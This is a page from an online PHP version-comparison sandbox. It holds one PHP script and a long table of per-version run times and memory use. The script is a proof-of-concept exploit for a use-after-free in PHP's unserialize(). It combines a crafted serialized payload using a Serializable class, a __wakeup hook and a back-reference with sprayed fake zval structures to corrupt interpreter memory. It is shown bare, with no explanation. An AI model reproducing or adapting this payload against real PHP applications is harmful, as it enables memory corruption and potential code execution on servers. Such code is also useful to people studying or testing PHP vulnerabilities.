3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } class obj2 { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'r:2;'; $exploit = 'a:2:{i:0;O:4:"obj2":1:{s:4:"ryat";C:3:"obj":'.strlen($inner).':{'.$inner.'}}i:1;a:1:{i:0;a:1:{i:0;R:4;}}}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01016.88
8.3.50.0030.01716.37
8.3.40.0090.00618.83
8.3.30.0110.00418.75
8.3.20.0040.00420.10
8.3.10.0040.00421.85
8.3.00.0000.00819.68
8.2.180.0100.01018.34
8.2.170.0040.01122.96
8.2.160.0140.00019.51
8.2.150.0040.00424.18
8.2.140.0070.00024.66
8.2.130.0000.00826.16
8.2.120.0070.00317.72
8.2.110.0000.01022.21
8.2.100.0080.00417.75
8.2.90.0000.00819.22
8.2.80.0000.00817.97
8.2.70.0080.00017.50
8.2.60.0040.00417.80
8.2.50.0080.00018.07
8.2.40.0040.00419.23
8.2.30.0050.00220.53
8.2.20.0000.00817.77
8.2.10.0050.00318.21
8.2.00.0050.00218.20
8.1.270.0080.00022.01
8.1.260.0040.00426.35
8.1.250.0000.00828.09
8.1.240.0070.01022.61
8.1.230.0080.00317.42
8.1.220.0030.00617.74
8.1.210.0030.00618.77
8.1.200.0030.00717.36
8.1.190.0000.00917.35
8.1.180.0050.00318.10
8.1.170.0040.00418.59
8.1.160.0000.00722.04
8.1.150.0050.00318.96
8.1.140.0050.00317.48
8.1.130.0090.00017.74
8.1.120.0000.00717.38
8.1.110.0040.00417.37
8.1.100.0000.00817.39
8.1.90.0080.00017.42
8.1.80.0000.00917.48
8.1.70.0040.00417.48
8.1.60.0080.00017.60
8.1.50.0090.00017.50
8.1.40.0040.00417.50
8.1.30.0040.00417.68
8.1.20.0040.00417.63
8.1.10.0000.00817.54
8.1.00.0040.00417.50
8.0.300.0000.00718.77
8.0.290.0000.00716.75
8.0.280.0000.00718.46
8.0.270.0030.00317.20
8.0.260.0070.00017.28
8.0.250.0040.00417.07
8.0.240.0080.00017.05
8.0.230.0030.00316.95
8.0.220.0070.00016.99
8.0.210.0070.00016.93
8.0.200.0030.00317.02
8.0.190.0040.00416.96
8.0.180.0050.00316.93
8.0.170.0000.00816.98
8.0.160.0030.00516.97
8.0.150.0040.00416.94
8.0.140.0040.00416.83
8.0.130.0000.00513.38
8.0.120.0000.00716.98
8.0.110.0000.00816.96
8.0.100.0070.00016.93
8.0.90.0030.00416.93
8.0.80.0070.01016.95
8.0.70.0050.00317.04
8.0.60.0000.00716.83
8.0.50.0050.00216.81
8.0.30.0090.00816.98
8.0.20.0110.01117.40
8.0.10.0020.00517.04
8.0.00.0080.01016.86
7.4.330.0000.00515.08
7.4.320.0030.00316.43
7.4.300.0070.00016.52
7.4.290.0000.00716.52
7.4.280.0030.00516.57
7.4.270.0070.00016.52
7.4.260.0030.00516.61
7.4.250.0040.00416.54
7.4.240.0020.00516.56
7.4.230.0040.00416.72
7.4.220.0120.01316.69
7.4.210.0070.00716.57
7.4.200.0030.00316.74
7.4.160.0060.00916.58
7.4.150.0050.01417.40
7.4.140.0140.00517.86
7.4.130.0050.01516.48
7.4.120.0070.01216.51
7.4.110.0210.00016.58
7.4.100.0170.00716.55
7.4.90.0110.00816.70
7.4.80.0120.00819.39
7.4.70.0090.01216.68
7.4.60.0120.00616.71
7.4.50.0040.00416.61
7.4.40.0100.01316.77
7.4.30.0150.00916.60
7.4.10.0120.00015.00
7.4.00.0080.01015.21
7.3.330.0060.00013.23
7.3.320.0000.00613.41
7.3.310.0030.00316.55
7.3.300.0070.00016.42
7.3.290.0100.00816.36
7.3.280.0110.00716.40
7.3.270.0160.01017.40
7.3.260.0140.00616.47
7.3.250.0110.00716.57
7.3.240.0130.01016.57
7.3.230.0110.00616.64
7.3.210.0050.01416.38
7.3.200.0060.01116.55
7.3.190.0050.01116.76
7.3.180.0150.00616.52
7.3.170.0100.00716.43
7.3.160.0090.00916.35
7.3.130.0070.01114.76
7.3.120.0030.01314.73
7.3.110.0160.00015.01
7.3.100.0110.00714.89
7.3.90.0030.01314.91
7.3.80.0000.01415.08
7.3.70.0060.00614.70
7.3.60.0110.00314.95
7.3.50.0040.01114.80
7.3.40.0000.01014.50
7.3.30.0060.00314.82
7.3.20.0090.00016.77
7.3.10.0070.00716.68
7.3.00.0000.01516.64
7.2.330.0040.01316.83
7.2.320.0030.01416.53
7.2.310.0110.00516.78
7.2.300.0110.00616.80
7.2.290.0080.00816.65
7.2.260.0070.01415.32
7.2.250.0040.00714.92
7.2.240.0000.01215.32
7.2.230.0040.01515.04
7.2.220.0000.01414.87
7.2.210.0030.01314.87
7.2.200.0070.00715.17
7.2.190.0090.00915.19
7.2.180.0090.00915.17
7.2.170.0000.01015.14
7.2.160.0030.01015.24
7.2.150.0000.01117.04
7.2.140.0110.00016.66
7.2.130.0060.00916.95
7.2.120.0000.01316.76
7.2.110.0130.00317.00
7.2.100.0030.01316.87
7.2.90.0090.00616.83
7.2.80.0060.00816.92
7.2.70.0100.00716.73
7.2.60.0050.00916.85
7.2.50.0080.00816.82
7.2.40.0030.00916.92
7.2.30.0030.01317.08
7.2.20.0030.01116.94
7.2.10.0060.00916.77
7.2.00.0060.01018.05
7.1.330.0030.01015.86
7.1.320.0070.00715.52
7.1.310.0060.00615.71
7.1.300.0100.00715.59
7.1.290.0030.00715.67
7.1.280.0100.00615.73
7.1.270.0080.00415.60
7.1.260.0030.01015.61
7.1.250.0000.01215.89
7.1.240.0070.00315.84
7.1.230.0030.01315.79
7.1.220.0070.00715.77
7.1.210.0060.00915.80
7.1.200.0050.00815.71
7.1.190.0060.00915.63
7.1.180.0070.01015.64
7.1.170.0000.01315.76
7.1.160.0000.00915.87
7.1.150.0030.01015.71
7.1.140.0000.01315.75
7.1.130.0100.00315.69
7.1.120.0030.00915.93
7.1.110.0000.01815.87
7.1.100.0020.00916.89
7.1.90.0070.00715.48
7.1.80.0060.00615.63
7.1.70.0050.00316.26
7.1.60.0070.01017.54
7.1.50.0100.01625.46
7.1.40.0070.00415.68
7.1.30.0060.00615.82
7.1.20.0040.01115.88
7.1.10.0070.01015.95
7.1.00.0030.04419.21
7.0.330.0060.00615.64
7.0.320.0120.00315.14
7.0.310.0070.00715.47
7.0.300.0100.00315.39
7.0.290.0030.01515.27
7.0.280.0000.01415.39
7.0.270.0000.01215.60
7.0.260.0060.00315.19
7.0.250.0050.00515.54
7.0.240.0090.00415.22
7.0.230.0090.00315.23
7.0.220.0090.00015.35
7.0.210.0100.00315.55
7.0.200.0040.00816.18
7.0.190.0030.01015.49
7.0.180.0030.00715.37
7.0.170.0060.00615.44
7.0.160.0070.00715.39
7.0.150.0090.00315.54
7.0.140.0070.01015.24
7.0.130.0080.00415.40
7.0.120.0090.00615.55
7.0.110.0070.01115.60
7.0.100.0250.04917.65
7.0.90.0470.03217.79
7.0.80.0320.04017.71
7.0.70.0320.02917.75
7.0.60.0320.04517.63
7.0.50.0040.04717.80
7.0.40.0070.04316.76
7.0.30.0080.04716.81
7.0.20.0030.04916.72
7.0.10.0060.03416.71
7.0.00.0070.04316.77
5.6.400.0000.01714.64
5.6.390.0000.01114.19
5.6.380.0070.01014.32
5.6.370.0060.00914.28
5.6.360.0000.01414.65
5.6.350.0040.01114.39
5.6.340.0090.00614.61
5.6.330.0000.01314.58
5.6.320.0060.00314.61
5.6.310.0100.00614.61
5.6.300.0060.00614.36
5.6.290.0120.00314.42
5.6.280.0030.01817.84
5.6.270.0040.01214.48
5.6.260.0070.01114.57
5.6.250.0050.03017.58
5.6.240.0110.04017.43
5.6.230.0080.04317.50
5.6.220.0080.04317.61
5.6.210.0050.03717.59
5.6.200.0050.04117.80
5.6.190.0070.03217.81
5.6.180.0100.04017.60
5.6.170.0060.04317.56
5.6.160.0030.04717.86
5.6.150.0050.04017.98
5.6.140.0080.04517.92
5.6.130.0060.04617.90
5.6.120.0120.04217.67
5.6.110.0100.03517.72
5.6.100.0050.04517.76
5.6.90.0070.04617.72
5.6.80.0070.04217.45
5.6.70.0070.04317.39
5.6.60.0060.04417.26
5.6.50.0100.04017.52
5.6.40.0050.04317.42
5.6.30.0050.04417.46
5.6.20.0100.03717.36
5.6.10.0070.04217.38
5.6.00.0070.02517.32
5.5.380.0020.04717.50
5.5.370.0100.04217.42
5.5.360.0100.04317.50
5.5.350.0170.03517.43
5.5.340.0070.03217.60
5.5.330.0070.04017.61
5.5.320.0080.03717.66
5.5.310.0050.04517.75
5.5.300.0070.04317.82
5.5.290.0070.04817.83
5.5.280.0090.03917.69
5.5.270.0070.04517.58
5.5.260.0030.05117.52
5.5.250.0050.04517.60
5.5.240.0070.04517.20
5.5.230.0050.04717.31
5.5.220.0050.04417.14
5.5.210.0090.04017.32
5.5.200.0120.03617.39
5.5.190.0060.03717.30
5.5.180.0020.04717.37
5.5.170.0030.00914.40
5.5.160.0080.02117.36
5.5.150.0130.03717.22
5.5.140.0100.03717.22
5.5.130.0070.02617.38
5.5.120.0020.02617.22
5.5.110.0100.02717.25
5.5.100.0070.02317.27
5.5.90.0030.02517.27
5.5.80.0070.02317.18
5.5.70.0120.03717.14
5.5.60.0030.02317.25
5.5.50.0020.02517.16
5.5.40.0070.02817.28
5.5.30.0120.01717.16
5.5.20.0030.03517.21
5.5.10.0050.02117.05
5.5.00.0050.03217.15
5.4.450.0030.08319.43
5.4.440.0170.07319.27
5.4.430.0100.07319.36
5.4.420.0070.07319.36
5.4.410.0170.07019.32
5.4.400.0200.05018.88
5.4.390.0100.06719.04
5.4.380.0030.08318.92
5.4.370.0130.06719.05
5.4.360.0070.06319.05
5.4.350.0000.08319.13
5.4.340.0030.04718.92
5.4.320.0070.08018.91
5.4.310.0130.06718.88
5.4.300.0030.05318.95
5.4.290.0070.05719.02
5.4.280.0000.04018.85
5.4.270.0070.07319.12
5.4.260.0030.04019.20
5.4.250.0030.04019.12
5.4.240.0030.04319.13
5.4.230.0070.05318.94
5.4.220.0070.03318.87
5.4.210.0070.06019.16
5.4.200.0000.04319.12
5.4.190.0030.06019.13
5.4.180.0000.04719.04
5.4.170.0070.04019.02
5.4.160.0030.06718.86
5.4.150.0070.03718.86
5.4.140.0030.03316.53
5.4.130.0100.06016.41
5.4.120.0030.03716.48
5.4.110.0170.05316.41
5.4.100.0030.05016.57
5.4.90.0000.03716.34
5.4.80.0000.04716.27
5.4.70.0000.03716.27
5.4.60.0100.03016.25
5.4.50.0030.03716.44
5.4.40.0070.03316.24
5.4.30.0030.04016.29
5.4.20.0070.03316.29
5.4.10.0100.02716.24
5.4.00.0000.05315.86

preferences:
75.37 ms | 400 KiB | 5 Q